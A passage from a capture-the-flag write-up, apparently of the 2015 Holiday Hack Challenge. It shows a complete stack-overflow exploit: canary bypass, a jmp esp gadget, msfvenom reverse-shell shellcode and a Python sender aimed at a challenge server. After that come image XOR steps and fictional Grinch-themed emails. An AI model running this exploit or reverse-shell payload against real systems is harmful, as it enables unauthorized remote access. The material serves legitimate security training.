junk2="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad”
 
exploit=junk+canary+junk2
 
print "[*] Connecting to "+str(host)+" on port "+str(port)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("X")
time.sleep(10)
 
print "[+] Sending shellcode..."
s.send(exploit)
s.close()

I run the python script again and look for which part of the buffer I sent is stored in the eip.

(gdb) i f
Stack level 0, frame at 0xffffd1c0:
 eip = 0x80493af in sgstatd; saved eip = 0x61413161
 called by frame at 0xffffd1c4
 Arglist at 0xffffd1b8, args: 
 Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0
 Saved registers:
  ebp at 0xffffd1b8, eip at 0xffffd1bc

I can see that a1Aa (little endian ASCII of 0x61413161) is stored in the eip so I use another ruby script from Metasploit to find the exact offset.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb a1Aa
[*] Exact match at offset 4

Now I need to also make sure that I successfully repaired the Canary so I continue to see if the second breakpoint is hit.

Breakpoint 1, 0x080493af in sgstatd ()
(gdb) c
Continuing.
 
Breakpoint 2, 0x080493c4 in sgstatd ()
(gdb)

The next step is to find a way to reliably point the eip at the esp register address. Since ASLR is on, I cannot hardcode the address of esp because it changes every time the program executes. One of the reliable ways to bypass ASLR is to point the eip to a jmp [reg] instruction however there are no suitable jmp instructions in the program. Luckily, the Canary gives me the solution I need. The hardcoded Canary contains the hex ‘ff e4’ which is the same as the instruction jmp esp. I just need to find the address specific for ‘ff e4’. So part of the Canary check is a good place to start.

0x080493af <+82>: mov edx,DWORD PTR [ebp-0x4]

Since the address where the Canary is moved into the edx register prior to being compared in an XOR it’s a great starting point to finding the specific memory address I need for the jmp esp. To find that memory address I list 10 bytes from the address.

(gdb) x/10b 0x80493af
0x80493af <sgstatd+82>: 0x8b  0x55  0xfc  0x81  0xf2  0xe4  0xff  0xff
0x80493b7 <sgstatd+90>: 0xe4  0x0f

I see the bytes needed so now I just need the address of them. Since 0x80493b7 contains the e4 portion I just need to point to the memory address one byte prior.

(gdb) x/1i 0x80493b6
   0x80493b6 <sgstatd+89>: jmp    esp

Now that I have the address needed to hijack program flow, I need to shellcode to put into the esp register. Due to the limited space of 84 bytes left (200-108-8=84) I need a small shellcode. Thankfully, Metasploit has this covered with their msfvenom tool.

msfvenom -a x86 --platform arm -p linux/x86/shell_reverse_tcp -b '\x00' LHOST=127.0.0.1 LPORT=33333 -f python --smallest -v payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 92 (iteration=0)
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown succeeded with size 84 (iteration=0)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov succeeded with size 90 (iteration=0)
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 97 (iteration=0)
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=26, char=0x00)
Attempting to encode payload with 1 iterations of x86/nonalpha
x86/nonalpha failed with Encoding failed due to a bad character (index=62, char=0x00)
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 204 (iteration=0)
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 198 (iteration=0)
Attempting to encode payload with 1 iterations of x86/nonupper
x86/nonupper failed with Encoding failed due to a bad character (index=62, char=0x00)
x86/countdown chosen with final size 84
Payload size: 84 bytes
payload =  ""
payload += "\x6a\x43\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c"
payload += "\x0e\x07\xe2\xfa\x30\xd9\xf4\xe7\x56\x45\x54\x62"
payload += "\x0b\x83\xea\xbc\x6b\xc3\x8f\x83\x48\xa2\x2c\xd9"
payload += "\x95\x5f\x6e\xe1\x71\x65\x1b\x1c\x1c\x76\x1d\x20"
payload += "\xa3\x17\xaa\xc5\x95\x40\x77\x79\x7a\x99\x28\xa5"
payload += "\xcc\xe3\xaf\x62\x59\x1d\x1c\x47\x5d\x5e\x18\x5a"
payload += "\x50\x54\xb2\xdf\x6f\x6d\xb6\xa1\xf1\x49\x8e\xc4"

The shellcode I have chosen is a reverse tcp shell using Linux commands on a 32bit ARM platform and lucky for me it’s just small enough. Now to modify the python script to set the eip to the jmp esp instruction and send the program flow to the shellcode.

#!/usr/bin/python
import socket, time
 
port=4242
host='127.0.0.1'
 
junk="A"*104
canary="\xe4\xff\xff\xe4"
junk2="B"*4
eip="\xb6\x93\x04\x08"
payload =  ""
payload += "\x6a\x43\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c"
payload += "\x0e\x07\xe2\xfa\x30\xd9\xf4\xe7\x56\x45\x54\x62"
payload += "\x0b\x83\xea\xbc\x6b\xc3\x8f\x83\x48\xa2\x2c\xd9"
payload += "\x95\x5f\x6e\xe1\x71\x65\x1b\x1c\x1c\x76\x1d\x20"
payload += "\xa3\x17\xaa\xc5\x95\x40\x77\x79\x7a\x99\x28\xa5"
payload += "\xcc\xe3\xaf\x62\x59\x1d\x1c\x47\x5d\x5e\x18\x5a"
payload += "\x50\x54\xb2\xdf\x6f\x6d\xb6\xa1\xf1\x49\x8e\xc4"
 
exploit=junk+canary+junk2+eip+payload
 
print "[*] Connecting to "+str(host)+" on port "+str(port)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("X")
time.sleep(10)
 
print "[+] Sending shellcode..."
s.send(exploit)
s.close()

With the python script ready it’s time to test so I setup netcat to listen on port 33333 and start the program outside the debugger. Finally, I run our python script and check the results.

nc -nlvp 33333
listening on [any] 33333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 51813
whoami
nobody

Success! Now I just need to adjust the script and shellcode one last time to use the public IP of the SuperGnome and to call back to my own IP.

#!/usr/bin/python
import socket, time
 
port=4242
host='54.233.105.81'
 
junk="A"*104
canary="\xe4\xff\xff\xe4"
junk2="B"*4
eip="\xb6\x93\x04\x08"
payload =  ""
payload += "\x6a\x43\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c"
payload += "\x0e\x07\xe2\xfa\x30\xd9\xf4\xe7\x56\x45\x54\x62"
payload += "\x0b\x83\xea\xbc\x6b\xc3\x8f\x83\x48\xa2\x2c\xd9"
payload += "\x95\x5f\x6e\xe1\x71\x65\x1b\x1c\x1c\x76\x1d\x20"
payload += "\xa3\x17\xaa\xc5\x95\x40\x77\x79\x7a\x99\x28\xa5"
payload += "\xcc\xe3\xaf\x62\x59\x1d\x1c\x47\x5d\x5e\x18\x5a"
payload += "\x50\x54\xb2\xdf\x6f\x6d\xb6\xa1\xf1\x49\x8e\xc4"
 
exploit=junk+canary+junk2+eip+payload
 
print "[*] Connecting to "+str(host)+" on port "+str(port)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("X")
time.sleep(10)
 
print "[+] Sending shellcode..."
s.send(exploit)
s.close()

Note: the shellcode is still the same from the previous example in order to protect my actual IP.

Running the script against the actual SuperGnome gives me the ability to obtain all the files in /gnome/www/files from SG-05 as well.

gnome.conf:

Gnome Serial Number: 4CKL3R43V4
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-05
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/

Victory

victory

The ability to earn the Victory achievement did not require exploiting any of the SuperGnomes it did require using a Konami Code to navigate to the missing Intern.

Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution

The Challenge

Now that I have all the files from each of the SuperGnomes its time to go through them and see what I can find in the files.

Factory Cams

I first notice that each SuperGnome has a staticky image in a zip file called “factory_cam_X.zip”. Since each of the images have some slight variation, running the images through some XORs returned an interesting result. A nice tool to do the XORs is ImageMagick and its convert command line program.

Disclaimer: After the contest ended and I looked at other write-ups I realized I had forgotten to XOR the overlap_error image with the factory images.

convert factory1.png factory2.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" xored.png
convert xored.png factory3.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" xored.png
convert xored.png factory4.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" xored.png
convert xored.png factory5.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" xored.png

The resulting image was a picture of what appears to be an adult who from How the Grinch Stole Christmas. There is a nameplate partially readable in the image.

cindy

PCAPS

The next interesting set of files are the zip archives with date and timestamps for names. Inside each one is a PCAP. Using Wireshark, I am able to extract emails from each PCAP and an image that was attached to one of the emails.

SuperGnome-01

From: "c" <[email protected]>
To: <[email protected]>
Subject: GiYH Architecture
Date: Fri, 26 Dec 2014 10:10:55 -0500
 
JoJo,
 
As you know, I hired you because you are the best architect in town for a
distributed surveillance system to satisfy our rather unique business
requirements.  We have less than a year from today to get our final plans in
place.  Our schedule is aggressive, but realistic.
 
 I've sketched out the overall Gnome in Your Home architecture in the diagram
attached below.  Please add in protocol details and other technical
specifications to complete the architectural plans.
 
 Remember: to achieve our goal, we must have the infrastructure scale to
upwards of 2 million Gnomes.  Once we solidify the architecture, you'll work
with the hardware team to create device specs and we'll start procuring
hardware in the February 2015 timeframe.
 
 I've also made significant progress on distribution deals with retailers.
 
 Thoughts?
 
 Looking forward to working with you on this project!
 -C

email

SuperGnome-02

From: "c" <[email protected]>
To: <[email protected]>
Subject: =?us-ascii?Q?Large_Order_-_Immediate_Attention_Required?=
Date: Wed, 25 Feb 2015 09:30:39 -0500
 
Maratha,
 
As a follow-up to our phone conversation, we'd like to proceed with an order
of parts for our upcoming product line.  We'll need two million of each of
the following components:
 
+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9
CPU and Linux SDK)
 
+ ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor
 
+ Atheros AR6233X Wi-Fi adapter
 
+ Texas Instruments TPS65053 switching power supply
 
+ Samsung K4B2G16460 2GB SSDR3 SDRAM
 
+ Samsung K9F1G08U0D 1GB NAND Flash
 
Given the volume of this purchase, we fully expect the 35% discount you
mentioned during our phone discussion.  If you cannot agree to this pricing,
we'll place our order elsewhere.
 
We need delivery of components to begin no later than April 1, 2015, with
250,000 units coming each week, with all of them arriving no later than June
1, 2015.
 
Finally, as you know, this project requires the utmost secrecy.   Tell NO
ONE about our order, especially any nosy law enforcement authorities.
 
Regards,
-CW

SuperGnome-03

From: "c" <[email protected]>
To: <[email protected]>
Subject: All Systems Go for Dec 24, 2015
Date: Tue, 1 Dec 2015 11:33:56 -0500
 
My Burgling Friends, 
 
Our long-running plan is nearly complete, and I'm writing to share the date
when your thieving will commence!  On the morning of December 24, 2015, each
individual burglar on this email list will receive a detailed itinerary of
specific houses and an inventory of items to steal from each house, along
with still photos of where to locate each item.  The message will also
include a specific path optimized for you to hit your assigned houses
quickly and efficiently the night of December 24, 2015 after dark.
 
Further, we've selected the items to steal based on a detailed analysis of
what commands the highest prices on the hot-items open market.  I caution
you - steal only the items included on the list.  DO NOT waste time grabbing
anything else from a house.  There's no sense whatsoever grabbing crumbs too
small for a mouse!
 
As to the details of the plan, remember to wear the Santa suit we provided
you, and bring the extra large bag for all your stolen goods.
 
If any children observe you in their houses that night, remember to tell
them that you are actually "Santy Claus", and that you need to send the
specific items you are taking to your workshop for repair.  Describe it in a
very friendly manner, get the child a drink of water, pat him or her on the
head, and send the little moppet back to bed.  Then, finish the deed, and
get out of there.  It's all quite simple - go to each house, grab the loot,
and return it to the designated drop-off area so we can resell it.  And,
above all, avoid Mount Crumpit! 
 
As we agreed, we'll split the proceeds from our sale 50-50 with each
burglar.
 
Oh, and I've heard that many of you are asking where the name ATNAS comes
from.  Why, it's reverse SANTA, of course.  Instead of bringing presents on
Christmas, we'll be stealing them!
 
Thank you for your partnership in this endeavor. 
 
Signed:
-CLW

SuperGnome-04

From: "c" <[email protected]>
To: <[email protected]>
Subject: Answer To Your Question
Date: Thu, 3 Dec 2015 13:38:15 -0500
 
Dr. O'Malley,
 
In your recent email, you inquired:
 
> When did you first notice your anxiety about the holiday season?
 
Anxiety is hardly the word for it.  It's a deep-seated hatred, Doctor.
 
Before I get into details, please allow me to remind you that we operate
under the strictest doctor-patient confidentiality agreement in the
business.  I have some very powerful lawyers whom I'd hate to invoke in the
event of some leak on your part.  I seek your help because you are the best
psychiatrist in all of Who-ville.
 
To answer your question directly, as a young child (I must have been no more
than two), I experienced a life-changing interaction.  Very late on
Christmas Eve, I was awakened to find a grotesque green Who dressed in a
tattered Santa Claus outfit, standing in my barren living room, attempting
to shove our holiday tree up the chimney.  My senses heightened, I put on my
best little-girl innocent voice and asked him what he was doing.  He
explained that he was "Santy Claus" and needed to send the tree for repair.
I instantly knew it was a lie, but I humored the old thief so I could escape
to the safety of my bed.  That horrifying interaction ruined Christmas for
me that year, and I was terrified of the whole holiday season throughout my
teen years.
 
I later learned that the green Who was known as "the Grinch" and had lost
his mind in the middle of a crime spree to steal Christmas presents.  At the
very moment of his criminal triumph, he had a pitiful change of heart and
started playing all nicey-nice.  What an amateur!  When I became an adult,
my fear of Christmas boiled into true hatred of the whole holiday season.  I
knew that I had to stop Christmas from coming.  But how?
 
I vowed to finish what the Grinch had started, but to do it at a far larger
scale.  Using the latest technology and a distributed channel of burglars,
we'd rob 2 million houses, grabbing their most precious gifts, and selling
them on the open market.  We'll destroy Christmas as two million homes full
of people all cry "BOO-HOO", and we'll turn a handy profit on the whole
deal.
 
Is this "wrong"?  I simply don't care.  I bear the bitter scars of the
Grinch's malfeasance, and singing a little "Fahoo Fores" isn't gonna fix
that!
 
What is your advice, doctor?
 
Signed,
Cindy Lou Who

SuperGnome-05

From: "Grinch" <[email protected]>
To: <[email protected]>
Subject: My Apologies & Holiday Greetings
Date: Tue, 15 Dec 2015 16:09:40 -0500
 
Dear Cindy Lou,
 
I am writing to apologize for what I did to you so long ago.  I wronged you
and all the Whos down in Who-ville due to my extreme misunderstanding of
Christmas and a deep-seated hatred.  I should have never lied to you, and I
should have never stolen those gifts on Christmas Eve.  I realize that even
returning them on Christmas morn didn't erase my crimes completely.  I seek
your forgiveness.
 
You see, on Mount Crumpit that fateful Christmas morning, I learned th[4 bytes missing in capture file]at
Christmas doesn't come from a store.  In fact, I discovered that Christmas
means a whole lot more!
 
When I returned their gifts, the Whos embraced me.  They forgave.  I was
stunned, and my heart grew even more.  Why, they even let me carve the roast
beast!  They demonstrated to me that the holiday season is, in part, about
forgiveness and love, and that's the gift that all the Whos gave to me that
morning so long ago.  I honestly tear up thinking about it.
 
I don't expect you to forgive me, Cindy Lou.  But, you have my deepest and
most sincere apologies.
 
And, above all, don't let my horrible actions from so long ago taint you in
any way.  I understand you've grown into an amazing business leader.  You
are a precious and beautiful Who, my dear.  Please use your skills wisely
and to help and support your fellow Who, especially during the holidays.
 
I sincerely wish you a holiday season full of kindness and warmth,
--The Grinch